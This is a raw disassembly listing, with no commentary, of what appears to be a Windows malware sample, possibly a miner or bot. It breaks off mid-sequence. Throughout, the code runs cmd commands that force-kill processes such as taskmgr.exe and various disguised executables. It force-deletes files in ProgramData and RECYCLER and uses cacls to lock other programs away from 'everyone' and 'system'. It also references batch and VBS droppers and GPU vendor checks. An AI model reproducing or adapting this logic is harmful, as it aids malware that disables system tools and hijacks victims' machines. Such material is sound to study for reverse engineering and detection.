mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x433fc1
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x433fd4
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x433ff7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.N_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43405d
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434070
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434093
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SQLAGEATA.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, 0x4ec8d5
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434176
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4ec8d5
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4341dc
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4341ef
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434212
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log1.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x434278
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43428b
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4342ae
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.A_log.txt
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x434314
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434327
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43434a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434391
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4343d8
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4f66eb
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x434456
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434469
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43448c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push 0x4f66f7
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4344f2
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434505
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434528
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.NVDIA_
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43458e
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4345a1
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4345c4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4c3ee0
call fcn.00461dca
add esp, 0x10
mov dword [ebp - 4], eax
push str.AMD_
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x43462a
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x43463d
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434660
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4346a7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskger.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434724
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskger.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskger.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4347d7
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskger.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4348ba
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_taskmgzr.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434937
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_taskmgzr.exe
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.taskmgzr.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4349ea
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_taskmgzr.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramData_vget.vbs
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLER_vget.vbs
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_vget.vbs
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_vget.vbs
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434bd5
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.wscript.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434c1c
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.ftp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434c63
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.fpp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434caa
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.p.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434cf1
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDatawinsql.dat
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERwinsql.dat
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.ftp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434da4
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.fpp.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434deb
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.p.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434e32
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:ProgramDatawinsql.dat
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push reloc.WS2_32.dll_connect
push 0
push str.C:RECYCLERwinsql.dat
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0x64
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x434ef3
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x4eca20
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434f12
mov eax, 0x4e9a10
push eax
push 2
mov ebx, 0x464000
call fcn.00461db8
add esp, 0x1c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434f35
push ebx
call fcn.00461dbe
add esp, 4
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
push 0x4f1c2c
mov ecx, 3
call fcn.004010ce
add esp, 0xc
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x434f77
push ebx
call fcn.00461dbe
add esp, 4
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x434fa2
mov eax, 0x4e9a10
push eax
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x434fc5
push ebx
call fcn.00461dbe
add esp, 4
push 1
push 1
push 1
push 9
call fcn.0040e34c
push 0
mov ebx, 0x4623c0
call fcn.00461db8
add esp, 4
mov dword [ebp - 4], eax
push str.Update3.bat
push dword [ebp - 4]
mov ecx, 2
call fcn.004010ce
add esp, 8
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x435015
push ebx
call fcn.00461dbe
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x435028
mov eax, 0x4e9a10
push eax
push 1
mov ebx, 0x463ee0
call fcn.00461db8
add esp, 0x10
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43504b
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.assm.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43507a
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SqlManagement.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4351ab
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SqlManagement.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.SystemManagement.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4352dc
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SystemManagement.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.msinfo.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43540d
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_msinfo.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_everyone
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_system
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
mov eax, str.rundlls.exe
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.0040e53c
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x43553e
push ebx
call fcn.00461dbe
add esp, 4
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_rundlls.exe
push 3
mov ebx, 0x462260
call fcn.00461db8
add esp, 0x28
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
push 1
push 0xa
call fcn.0040e34c
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
